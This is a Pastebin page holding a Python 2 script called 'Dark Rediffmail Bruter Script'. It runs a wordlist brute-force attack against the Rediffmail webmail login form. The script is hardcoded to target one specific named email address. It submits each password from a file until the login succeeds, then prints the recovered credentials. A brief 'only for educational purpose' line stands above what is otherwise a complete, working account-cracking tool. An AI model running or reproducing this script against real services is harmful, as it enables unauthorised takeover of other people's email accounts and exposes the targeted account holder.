Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import mechanize
- import cookielib
- import sys
- email = "k.jaiswani@rediffmail.com";
- wordlist = "wordlist.txt";
- url = "https://mail.rediff.com/cgi-bin/login.cgi";
- print """
- Dark Rediffmail Bruter Script.
- Written By : Tanmay Upadhyay [ India ]
- Email : kevinmetnik606@gmail.com
- [WARNING] Only for educational purpose dont use it for hacking purpose.
- \n
- """
- def _brute_():
- if(email == ""):
- print "\n\t[Error] Sorry we cant able to find email to attack.";
- sys.exit(1);
- br = mechanize.Browser();
- cj = cookielib.CookieJar();
- br.set_cookiejar(cj);
- br.set_handle_robots(False);
- br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time = 1);
- br.set_handle_referer(True);
- f = open(wordlist,'r');
- data = f.readlines();
- data_len = len(data);
- br.open(url);
- print "[+] Wordlist contain max [ %s ] words."%data_len;
- print "[!] Connected to Rediffmail server.";
- print "[!] Starting attack against [ %s ]"%email
- print "\n\tStarting a wordlist attack.....";
- print "\n";
- for pas in data:
- pas = pas.replace("\n","");
- br.select_form(name="loginform");
- br.form['login'] = email;
- br.form['passwd'] = pas;
- br.submit();
- if(br.geturl() == url):
- data_len -= 1;
- print "[%s] [error] password %s in not correct."%(data_len,pas);
- else:
- print "[%s] [success] correct password found."%data_len;
- print "\n\tEmail => %s \n\tPassword => %s"%(email,pas);
- print "\n"
- br.close();
- sys.exit(1);
- try:
- _brute_();
- except KeyboardInterrupt:
- print "\n\t[+] Operation Cancelled by Attacker [ Ctrl + C ] Pressed.";
- sys.exit(1);
- except IOError:
- print "\n\t[Error] Unable to locate or open wordlist file.";
- print "\n";
- sys.exit(1);
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement